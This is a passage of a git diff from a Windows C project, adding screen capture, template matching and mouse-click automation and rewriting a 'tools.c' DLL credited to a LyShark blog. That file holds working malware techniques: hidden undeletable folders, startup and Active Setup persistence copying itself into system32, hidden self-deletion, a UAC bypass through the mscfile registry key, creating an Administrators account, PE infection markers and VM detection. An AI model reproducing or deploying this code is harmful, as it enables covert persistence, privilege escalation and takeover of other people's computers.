+ + BITMAPINFOHEADER bi = {0}; + bi.biSize = sizeof(BITMAPINFOHEADER); + bi.biWidth = w; + bi.biHeight = -h; + bi.biPlanes = 1; + bi.biBitCount = 24; + bi.biCompression = BI_RGB; + + unsigned char* rgb = (unsigned char*)malloc(w * h * 3); + if (!GetDIBits(hdc, bmp, 0, h, rgb, (BITMAPINFO*)&bi, DIB_RGB_COLORS)) { *errorCode = 6; free(rgb); goto cleanup; } + + GrayImage* out = (GrayImage*)malloc(sizeof(GrayImage)); + out->width = w; + out->height = h; + out->data = (unsigned char*)malloc(w * h); + + #pragma omp parallel for + for (int y = 0; y < h; y++) { + for (int x = 0; x < w; x++) { + int off = y * w * 3 + x * 3; + int r = rgb[off+2], g = rgb[off+1], b = rgb[off]; + out->data[y*w + x] = (unsigned char)(0.299*r + 0.587*g + 0.114*b); + } + } + + free(rgb); +cleanup: + DeleteObject(bmp); + DeleteDC(mem); + ReleaseDC(NULL, hdc); + return *errorCode ? NULL : out; +} + +// 修复3:加入 SearchArea(x1,y1,x2,y2) +DLL_EXPORT MatchResult FindTemplateOptimized( + GrayImage* screen, + GrayImage* target, + double threshold, + int searchX1, int searchY1, int searchX2, int searchY2 +) { + MatchResult res = {-1, -1, 0, 0.0}; + double bestDiff = 1e18; + + if (!screen || !target || !screen->data || !target->data) { res.error = 200; return res; } + int tw = target->width, th = target->height; + int sw = screen->width, sh = screen->height; + if (tw > sw || th > sh) { res.error = 201; return res; } + + // 区域裁剪 + int x1 = (searchX1 >= 0) ? searchX1 : 0; + int y1 = (searchY1 >= 0) ? searchY1 : 0; + int x2 = (searchX2 > 0) ? searchX2 : sw; + int y2 = (searchY2 > 0) ? searchY2 : sh; + if (x2 - x1 < tw || y2 - y1 < th) { res.error = 201; return res; } + + long maxDiff = 255LL * 255LL * tw * th; + + #pragma omp parallel + { + double locBest = 1e18; + int lx = -1, ly = -1; + + #pragma omp for schedule(dynamic, 4) nowait + for (int y = y1; y <= y2 - th; y++) { + for (int x = x1; x <= x2 - tw; x++) { + long sum = 0; + for (int dy = 0; dy < th; dy++) { + for (int dx = 0; dx < tw; dx++) { + int s = screen->data[(y+dy)*sw + (x+dx)]; + int t = target->data[dy*tw + dx]; + int d = s - t; + sum += d * d; + } + } + if (sum < locBest) { + locBest = sum; + lx = x + tw/2; + ly = y + th/2; + } + } + } + + #pragma omp critical + if (locBest < bestDiff) { + bestDiff = locBest; + res.x = lx; + res.y = ly; + } + } + + res.confidence = 1.0 - (double)bestDiff / maxDiff; + if (res.confidence < threshold) { + res.x = res.y = -1; + res.error = 202; + } + return res; +} + +// 修复4:绝对坐标鼠标点击 +DLL_EXPORT int ClickAt(int x, int y) { + if (!SetCursorPos(x, y)) return 300; + + INPUT in[2] = {0}; + in[0].type = INPUT_MOUSE; + in[0].mi.dwFlags = MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_ABSOLUTE; + in[1].type = INPUT_MOUSE; + in[1].mi.dwFlags = MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE; + + float fx = (float)x / GetSystemMetrics(SM_CXVIRTUALSCREEN) * 65535.0f; + float fy = (float)y / GetSystemMetrics(SM_CYVIRTUALSCREEN) * 65535.0f; + in[0].mi.dx = (LONG)fx; + in[0].mi.dy = (LONG)fy; + in[1].mi.dx = (LONG)fx; + in[1].mi.dy = (LONG)fy; + + if (SendInput(2, in, sizeof(INPUT)) != 2) return 301; + return 0; +} + +DLL_EXPORT void FreeGrayImage(GrayImage* im) { + if (im) { free(im->data); free(im); } +} + +DLL_EXPORT int Initialize() { + omp_set_num_threads(omp_get_num_procs()); + return 0; } \ No newline at end of file diff --git a/.inf/Test/CMakeLists.txt b/.inf/Test/CMakeLists.txt index 95b6300..0cd508f 100644 --- a/.inf/Test/CMakeLists.txt +++ b/.inf/Test/CMakeLists.txt @@ -1,4 +1,4 @@ -set(Test_PROJECT_NAME "TestApp" CACHE INTERNAL "Project name for Test") -set(Test_MAIN_SOURCE_FILE "test.c" CACHE INTERNAL "Main source file for Test") -set(Test_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Test") -set(Test_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Test") +set(Test_PROJECT_NAME "TestApp" CACHE INTERNAL "Project name for Test") +set(Test_MAIN_SOURCE_FILE "test.c" CACHE INTERNAL "Main source file for Test") +set(Test_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Test") +set(Test_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Test") diff --git a/.inf/Test/test.c b/.inf/Test/test.c index 8321e25..867a76a 100644 --- a/.inf/Test/test.c +++ b/.inf/Test/test.c @@ -1,6 +1,6 @@ -#include - -int main() { - printf("Hello, World!\n"); - return 0; +#include + +int main() { + printf("Hello, World!\n"); + return 0; } \ No newline at end of file diff --git a/.inf/Tools/CMakeLists.txt b/.inf/Tools/CMakeLists.txt index 3062f62..3e9ba63 100644 --- a/.inf/Tools/CMakeLists.txt +++ b/.inf/Tools/CMakeLists.txt @@ -1,5 +1,5 @@ -set(Tools_PROJECT_NAME "Tools" CACHE INTERNAL "Project name for Tools") -set(Tools_MAIN_SOURCE_FILE "tools.c" CACHE INTERNAL "Main source file for Tools") -set(Tools_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Tools") -set(Tools_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Tools") -set(Tools_BUILD_AS_DLL TRUE PARENT_SCOPE) +set(Tools_PROJECT_NAME "Tools" CACHE INTERNAL "Project name for Tools") +set(Tools_MAIN_SOURCE_FILE "tools.c" CACHE INTERNAL "Main source file for Tools") +set(Tools_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Tools") +set(Tools_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Tools") +set(Tools_BUILD_AS_DLL TRUE PARENT_SCOPE) diff --git a/.inf/Tools/tools.c b/.inf/Tools/tools.c index 74148a4..802d9e5 100644 --- a/.inf/Tools/tools.c +++ b/.inf/Tools/tools.c @@ -1,404 +1,404 @@ -// https://www.cnblogs.com/LyShark/p/13420509.html - -#include -#include -#include -#include -#include -#include -#include -#define VIRUSFLAGS 0xCCCC -#pragma comment(lib, "shell32.lib") -#pragma comment(lib,"netapi32") - - -__declspec(dllexport) BOOL SetImmunity(char *FilePath, char *FileName); -__declspec(dllexport) void ClearImmunity(char *FilePath, char *FileName); -__declspec(dllexport) BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName); -__declspec(dllexport) BOOL SelfDel(); -__declspec(dllexport) BOOL CloseUAC(char *lpszExePath); -__declspec(dllexport) void AddUser(LPWSTR UserName, LPWSTR Password); -__declspec(dllexport) void EnumUser(); -__declspec(dllexport) void CreateAutoRun(); -__declspec(dllexport) BOOL IsVMWare(); -__declspec(dllexport) int test(); - -int test() {return 1;} - - -// 添加不可删除文件 -BOOL SetImmunity(char *FilePath,char *FileName) -{ - char file[2048] = { 0 }; - - strncpy(file, FilePath, strlen(FilePath)); - strcat(file, FileName); - BOOL bRet = CreateDirectory(file, 0); - if (bRet) - { - // 创建无法删除的文件夹 - strcat(file, "\\anti...\\"); - bRet = CreateDirectory(file, 0); - if (bRet) - { - // 设置文件为隐藏属性 - SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN); - return TRUE; - } - } - return FALSE; -} - -// 删除无法删除文件 -void ClearImmunity(char *FilePath, char *FileName) -{ - char file[2048] = { 0 }; - - strncpy(file, FilePath, strlen(FilePath)); - strcat(file, FileName); - - strcat(file, "\\anti...\\"); - RemoveDirectory(file); - - ZeroMemory(file, MAX_PATH); - strncpy(file, FilePath, strlen(FilePath)); - strcat(file, FileName); - RemoveDirectory(file); -} - -/* -int main(int argc, char * argv[]) -{ - // 创建 autorun.inf 可免疫自动播放 - char *Fuck[4] = { "你", "好", "世", "界" }; - int FuckLen = sizeof(Fuck) / sizeof(int); - - TCHAR Destop[MAX_PATH]; - SHGetSpecialFolderPath(0, Destop, CSIDL_DESKTOP, FALSE); // 获取桌面绝对路径 - - for (int x = 0; x < FuckLen; x++) - { - SetImmunity("c://", Fuck[x]); - //ClearImmunity("c://", Fuck[x]); - } - - system("pause"); - return 0; -}*/ - - -BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName) -{ - char szStartupPath[MAX_PATH] = { 0 }; - char szDestFilePath[MAX_PATH] = { 0 }; - - // 获取快速启动目录路径 - SHGetSpecialFolderPath(0, szStartupPath, CSIDL_STARTUP, TRUE); - printf("快速启动路径: %s\n", szStartupPath); - // 构造拷贝的目的文件路径 - wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName); - // 拷贝文件到快速启动目录下 - CopyFile(lpszSrcFilePath, szDestFilePath, FALSE); - return TRUE; -} - -/* -int main(int argc, char * argv[]) -{ - AutoRun_Startup("c://main.exe", "main.exe"); - system("pause"); - return 0; -} -*/ - - -// 向指定文件写入感染标志 -BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile) -{ - DWORD dwNum = 0; - SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN); - WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, 0); - return TRUE; -} -// 检查文件是否被感染 -BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile) -{ - DWORD dwSigNum = 0; - DWORD dwNum = 0; - SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN); - ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, 0); - - if (dwSigNum == dwSig) - return TRUE; - return FALSE; -} - -/* -int main(int argc, char* argv[]) -{ - HANDLE hFile,hMap = 0; - LPVOID lpBase = 0; - - hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); - hMap = CreateFileMapping(hFile,0,PAGE_READWRITE,0,0,0); - lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0); - - PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase; - PIMAGE_NT_HEADERS pNtHeader = 0; - PIMAGE_SECTION_HEADER pSec = 0; - IMAGE_SECTION_HEADER imgSec = { 0 }; - - if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) - { - printf("文件非可执行文件 \n"); - return -1; - } - pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew); - // 写入感染标志 - WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile); - - // 返回真说明感染过 - if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile)) - { - printf("文件已被感染,无法重复感染. \n"); - } - - system("pause"); - return 0; -} -*/ - - -BOOL SelfDel() -{ - SHELLEXECUTEINFO sei; - TCHAR szModule[MAX_PATH], szComspec[MAX_PATH], szParams[MAX_PATH]; - - if ((GetModuleFileName(0, szModule, MAX_PATH) != 0) && - (GetShortPathName(szModule, szModule, MAX_PATH) != 0) && - (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) != 0)) - { - lstrcpy(szParams, "/c del "); - lstrcat(szParams, szModule); - lstrcat(szParams, " > nul"); - // 设置结构成员. - sei.cbSize = sizeof(sei); - sei.hwnd = 0; - sei.lpVerb = "Open"; - sei.lpFile = szComspec; - sei.lpParameters = szParams; - sei.lpDirectory = 0; sei.nShow = SW_HIDE; - sei.fMask = SEE_MASK_NOCLOSEPROCESS; - // 创建cmd进程. - if (ShellExecuteEx(&sei)) - { - // 设置cmd进程的执行级别为空闲执行,使本程序有足够的时间从内存中退出. - SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS); - // 将自身进程的优先级置高 - SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); - SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); - // 通知Windows资源浏览器,本程序文件已经被删除. - SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0); - return TRUE; - } - } - return FALSE; -} - -/* -int main(int argc, char* argv[]) -{ - SelfDel(); - return 0; -} -*/ - - -//关闭UAC -BOOL CloseUAC(char *lpszExePath) -{ - HKEY hKey = 0; - // 创建项 - RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", - 0, 0, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, 0, &hKey, 0); - if (0 == hKey) - { - return FALSE; - } - RegSetValueEx(hKey, 0, 0, REG_SZ, (BYTE *)lpszExePath, (1 + lstrlen(lpszExePath))); - RegCloseKey(hKey); - return TRUE; -} - -/* -int main(int argc,char *argv[]) -{ - BOOL bRet = FALSE; - PVOID OldValue = 0; - - // 关闭文件重定位 - Wow64DisableWow64FsRedirection(&OldValue); - - // 修改注册表 - bRet = CloseUAC("C:\\Windows\\System32\\cmd.exe"); - printf("已关闭 \n"); - // 恢复文件重定位 - Wow64RevertWow64FsRedirection(OldValue); - - system("pause"); - return 0; -} -*/ - - -// 添加恶意系统用户 -void AddUser(LPWSTR UserName, LPWSTR Password) -{ - USER_INFO_1 user; - user.usri1_name = UserName; - user.usri1_password = Password; - user.usri1_priv = USER_PRIV_USER; - user.usri1_home_dir = 0; - user.usri1_comment = 0; - user.usri1_flags = UF_SCRIPT; - user.usri1_script_path = 0; - - //添加名为lysharks的用户,密码为sswordQq123 - if (NetUserAdd(0, 1, (LPBYTE)&user, 0) == NERR_Success) - printf("创建用户完成 \n"); - - // 添加用户到administrators组 - LOCALGROUP_MEMBERS_INFO_3 account; - account.lgrmi3_domainandname = user.usri1_name; - if (NetLocalGroupAddMembers(0, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success) - printf("添加到组完成 \n"); -} - -// 枚举系统用户 -void EnumUser() -{ - LPUSER_INFO_0 pBuf = 0; - LPUSER_INFO_0 pTmpBuf; - DWORD dwLevel = 0; - DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH; - DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0; - DWORD i; - NET_API_STATUS nStatus; - LPTSTR pszServerName = 0; - do - { - nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, - (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle); - - if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) - { - if ((pTmpBuf = pBuf) != 0) - { - for (i = 0; (i < dwEntriesRead); i++) - { - assert(pTmpBuf != 0); - - if (pTmpBuf == 0) - { - break; - } - wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf); - pTmpBuf++; - } - } - } - if (pBuf != 0) - { - NetApiBufferFree(pBuf); - pBuf = 0; - } - } while (nStatus == ERROR_MORE_DATA); - NetApiBufferFree(pBuf); -} - - -/* -int main(int argc, char *argv[]) -{ - AddUser(L"lyshark", L"123123"); - EnumUser(); - - system("pause"); - return 0; -} -*/ - - - - - - - -// 修改或创建字符串类型的键值 -void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data) -{ - // 创建新的注册表键 - HKEY hKey; - long lRet = RegCreateKeyExW(hRoot, szSubkey, 0, 0, - REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &hKey, 0); - if (ERROR_SUCCESS != lRet) - return; - // 修改或创建注册表键值 - lRet = RegSetValueExW(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, (wcslen(Data) + 1) * sizeof(wchar_t)); - if (ERROR_SUCCESS != lRet) - return; - // 释放注册表键句柄 - RegCloseKey(hKey); -} - -// 创建开机自启动进程 -// 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components -// 注册一条类似{84B421CD-B018-2513-B0B1-5C76DEF70F20}的子建,然后子键中新建StubPath的值项 -void CreateAutoRun() -{ - HKEY hKey; - DWORD dwDpt = REG_OPENED_EXISTING_KEY; - // 清理一下 - RegDeleteKeyW(HKEY_CURRENT_USER, - L"Software\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}"); - // 打开注册表键值 - long lRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE, - L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}", - REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey); - if (lRet != ERROR_SUCCESS) - { - WCHAR SelfFile[MAX_PATH]; - WCHAR SystemPath[MAX_PATH + 20]; - // 获取系统目录 - GetSystemDirectoryW(SystemPath, MAX_PATH); - // 在系统目录与\\activexrun.exe连接 - wcscat_s(SystemPath, MAX_PATH / sizeof(WCHAR), L"\\main.exe"); - // 获取当前进程路径 - GetModuleFileNameW(0, SelfFile, MAX_PATH); - // main.exe复制到C:\windows\system32目录下 - CopyFileW(SelfFile, SystemPath, FALSE); - // 写注册表 - CreateStringReg(HKEY_LOCAL_MACHINE, - L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}", - L"StubPath", SystemPath); - } -} - -BOOL IsVMWare() -{ - unsigned int cpuInfo[4]; - // 使用 __get_cpuid 替代 __cpuid - if (__get_cpuid(1, &cpuInfo[0], &cpuInfo[1], &cpuInfo[2], &cpuInfo[3])) { - return ((cpuInfo[2] >> 31) & 1) == 1; - } - return 0; -} - - -/* -int main(int argc, char *argv[]) -{ - CreateAutoRun(); - system("pause"); - return 0; +// https://www.cnblogs.com/LyShark/p/13420509.html + +#include +#include +#include +#include +#include +#include +#include +#define VIRUSFLAGS 0xCCCC +#pragma comment(lib, "shell32.lib") +#pragma comment(lib,"netapi32") + + +__declspec(dllexport) BOOL SetImmunity(char *FilePath, char *FileName); +__declspec(dllexport) void ClearImmunity(char *FilePath, char *FileName); +__declspec(dllexport) BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName); +__declspec(dllexport) BOOL SelfDel(); +__declspec(dllexport) BOOL CloseUAC(char *lpszExePath); +__declspec(dllexport) void AddUser(LPWSTR UserName, LPWSTR Password); +__declspec(dllexport) void EnumUser(); +__declspec(dllexport) void CreateAutoRun(); +__declspec(dllexport) BOOL IsVMWare(); +__declspec(dllexport) int test(); + +int test() {return 1;} + + +// 添加不可删除文件 +BOOL SetImmunity(char *FilePath,char *FileName) +{ + char file[2048] = { 0 }; + + strncpy(file, FilePath, strlen(FilePath)); + strcat(file, FileName); + BOOL bRet = CreateDirectory(file, 0); + if (bRet) + { + // 创建无法删除的文件夹 + strcat(file, "\\anti...\\"); + bRet = CreateDirectory(file, 0); + if (bRet) + { + // 设置文件为隐藏属性 + SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN); + return TRUE; + } + } + return FALSE; +} + +// 删除无法删除文件 +void ClearImmunity(char *FilePath, char *FileName) +{ + char file[2048] = { 0 }; + + strncpy(file, FilePath, strlen(FilePath)); + strcat(file, FileName); + + strcat(file, "\\anti...\\"); + RemoveDirectory(file); + + ZeroMemory(file, MAX_PATH); + strncpy(file, FilePath, strlen(FilePath)); + strcat(file, FileName); + RemoveDirectory(file); +} + +/* +int main(int argc, char * argv[]) +{ + // 创建 autorun.inf 可免疫自动播放 + char *Fuck[4] = { "你", "好", "世", "界" }; + int FuckLen = sizeof(Fuck) / sizeof(int); + + TCHAR Destop[MAX_PATH]; + SHGetSpecialFolderPath(0, Destop, CSIDL_DESKTOP, FALSE); // 获取桌面绝对路径 + + for (int x = 0; x < FuckLen; x++) + { + SetImmunity("c://", Fuck[x]); + //ClearImmunity("c://", Fuck[x]); + } + + system("pause"); + return 0; +}*/ + + +BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName) +{ + char szStartupPath[MAX_PATH] = { 0 }; + char szDestFilePath[MAX_PATH] = { 0 }; + + // 获取快速启动目录路径 + SHGetSpecialFolderPath(0, szStartupPath, CSIDL_STARTUP, TRUE); + printf("快速启动路径: %s\n", szStartupPath); + // 构造拷贝的目的文件路径 + wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName); + // 拷贝文件到快速启动目录下 + CopyFile(lpszSrcFilePath, szDestFilePath, FALSE); + return TRUE; +} + +/* +int main(int argc, char * argv[]) +{ + AutoRun_Startup("c://main.exe", "main.exe"); + system("pause"); + return 0; +} +*/ + + +// 向指定文件写入感染标志 +BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile) +{ + DWORD dwNum = 0; + SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN); + WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, 0); + return TRUE; +} +// 检查文件是否被感染 +BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile) +{ + DWORD dwSigNum = 0; + DWORD dwNum = 0; + SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN); + ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, 0); + + if (dwSigNum == dwSig) + return TRUE; + return FALSE; +} + +/* +int main(int argc, char* argv[]) +{ + HANDLE hFile,hMap = 0; + LPVOID lpBase = 0; + + hFile = CreateFile("c://1.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); + hMap = CreateFileMapping(hFile,0,PAGE_READWRITE,0,0,0); + lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0); + + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase; + PIMAGE_NT_HEADERS pNtHeader = 0; + PIMAGE_SECTION_HEADER pSec = 0; + IMAGE_SECTION_HEADER imgSec = { 0 }; + + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + printf("文件非可执行文件 \n"); + return -1; + } + pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew); + // 写入感染标志 + WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile); + + // 返回真说明感染过 + if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile)) + { + printf("文件已被感染,无法重复感染. \n"); + } + + system("pause"); + return 0; +} +*/ + + +BOOL SelfDel() +{ + SHELLEXECUTEINFO sei; + TCHAR szModule[MAX_PATH], szComspec[MAX_PATH], szParams[MAX_PATH]; + + if ((GetModuleFileName(0, szModule, MAX_PATH) != 0) && + (GetShortPathName(szModule, szModule, MAX_PATH) != 0) && + (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) != 0)) + { + lstrcpy(szParams, "/c del "); + lstrcat(szParams, szModule); + lstrcat(szParams, " > nul"); + // 设置结构成员. + sei.cbSize = sizeof(sei); + sei.hwnd = 0; + sei.lpVerb = "Open"; + sei.lpFile = szComspec; + sei.lpParameters = szParams; + sei.lpDirectory = 0; sei.nShow = SW_HIDE; + sei.fMask = SEE_MASK_NOCLOSEPROCESS; + // 创建cmd进程. + if (ShellExecuteEx(&sei)) + { + // 设置cmd进程的执行级别为空闲执行,使本程序有足够的时间从内存中退出. + SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS); + // 将自身进程的优先级置高 + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + // 通知Windows资源浏览器,本程序文件已经被删除. + SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0); + return TRUE; + } + } + return FALSE; +} + +/* +int main(int argc, char* argv[]) +{ + SelfDel(); + return 0; +} +*/ + + +//关闭UAC +BOOL CloseUAC(char *lpszExePath) +{ + HKEY hKey = 0; + // 创建项 + RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", + 0, 0, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, 0, &hKey, 0); + if (0 == hKey) + { + return FALSE; + } + RegSetValueEx(hKey, 0, 0, REG_SZ, (BYTE *)lpszExePath, (1 + lstrlen(lpszExePath))); + RegCloseKey(hKey); + return TRUE; +} + +/* +int main(int argc,char *argv[]) +{ + BOOL bRet = FALSE; + PVOID OldValue = 0; + + // 关闭文件重定位 + Wow64DisableWow64FsRedirection(&OldValue); + + // 修改注册表 + bRet = CloseUAC("C:\\Windows\\System32\\cmd.exe"); + printf("已关闭 \n"); + // 恢复文件重定位 + Wow64RevertWow64FsRedirection(OldValue); + + system("pause"); + return 0; +} +*/ + + +// 添加恶意系统用户 +void AddUser(LPWSTR UserName, LPWSTR Password) +{ + USER_INFO_1 user; + user.usri1_name = UserName; + user.usri1_password = Password; + user.usri1_priv = USER_PRIV_USER; + user.usri1_home_dir = 0; + user.usri1_comment = 0; + user.usri1_flags = UF_SCRIPT; + user.usri1_script_path = 0; + + //添加名为lysharks的用户,密码为sswordQq123 + if (NetUserAdd(0, 1, (LPBYTE)&user, 0) == NERR_Success) + printf("创建用户完成 \n"); + + // 添加用户到administrators组 + LOCALGROUP_MEMBERS_INFO_3 account; + account.lgrmi3_domainandname = user.usri1_name; + if (NetLocalGroupAddMembers(0, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success) + printf("添加到组完成 \n"); +} + +// 枚举系统用户 +void EnumUser() +{ + LPUSER_INFO_0 pBuf = 0; + LPUSER_INFO_0 pTmpBuf; + DWORD dwLevel = 0; + DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH; + DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0; + DWORD i; + NET_API_STATUS nStatus; + LPTSTR pszServerName = 0; + do + { + nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, + (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle); + + if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) + { + if ((pTmpBuf = pBuf) != 0) + { + for (i = 0; (i < dwEntriesRead); i++) + { + assert(pTmpBuf != 0); + + if (pTmpBuf == 0) + { + break; + } + wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf); + pTmpBuf++; + } + } + } + if (pBuf != 0) + { + NetApiBufferFree(pBuf); + pBuf = 0; + } + } while (nStatus == ERROR_MORE_DATA); + NetApiBufferFree(pBuf); +} + + +/* +int main(int argc, char *argv[]) +{ + AddUser(L"lyshark", L"123123"); + EnumUser(); + + system("pause"); + return 0; +} +*/ + + + + + + + +// 修改或创建字符串类型的键值 +void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data) +{ + // 创建新的注册表键 + HKEY hKey; + long lRet = RegCreateKeyExW(hRoot, szSubkey, 0, 0, + REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &hKey, 0); + if (ERROR_SUCCESS != lRet) + return; + // 修改或创建注册表键值 + lRet = RegSetValueExW(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, (wcslen(Data) + 1) * sizeof(wchar_t)); + if (ERROR_SUCCESS != lRet) + return; + // 释放注册表键句柄 + RegCloseKey(hKey); +} + +// 创建开机自启动进程 +// 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components +// 注册一条类似{84B421CD-B018-2513-B0B1-5C76DEF70F20}的子建,然后子键中新建StubPath的值项 +void CreateAutoRun() +{ + HKEY hKey; + DWORD dwDpt = REG_OPENED_EXISTING_KEY; + // 清理一下 + RegDeleteKeyW(HKEY_CURRENT_USER, + L"Software\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}"); + // 打开注册表键值 + long lRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}", + REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey); + if (lRet != ERROR_SUCCESS) + { + WCHAR SelfFile[MAX_PATH]; + WCHAR SystemPath[MAX_PATH + 20]; + // 获取系统目录 + GetSystemDirectoryW(SystemPath, MAX_PATH); + // 在系统目录与\\activexrun.exe连接 + wcscat_s(SystemPath, MAX_PATH / sizeof(WCHAR), L"\\main.exe"); + // 获取当前进程路径 + GetModuleFileNameW(0, SelfFile, MAX_PATH); + // main.exe复制到C:\windows\system32目录下 + CopyFileW(SelfFile, SystemPath, FALSE); + // 写注册表 + CreateStringReg(HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{84B421CD-B018-2513-B0B1-5C76DEF70F20}", + L"StubPath", SystemPath); + } +} + +BOOL IsVMWare() +{ + unsigned int cpuInfo[4]; + // 使用 __get_cpuid 替代 __cpuid + if (__get_cpuid(1, &cpuInfo[0], &cpuInfo[1], &cpuInfo[2], &cpuInfo[3])) { + return ((cpuInfo[2] >> 31) & 1) == 1; + } + return 0; +} + + +/* +int main(int argc, char *argv[]) +{ + CreateAutoRun(); + system("pause"); + return 0; }*/ \ No newline at end of file diff --git a/.inf/Update/CMakeLists.txt b/.inf/Update/CMakeLists.txt index 5d78ab0..909ad35 100644 --- a/.inf/Update/CMakeLists.txt +++ b/.inf/Update/CMakeLists.txt @@ -1,4 +1,4 @@ -set(Update_PROJECT_NAME "Update" CACHE INTERNAL "Project name for Update") -set(Update_MAIN_SOURCE_FILE "update.c" CACHE INTERNAL "Main source file for Update") 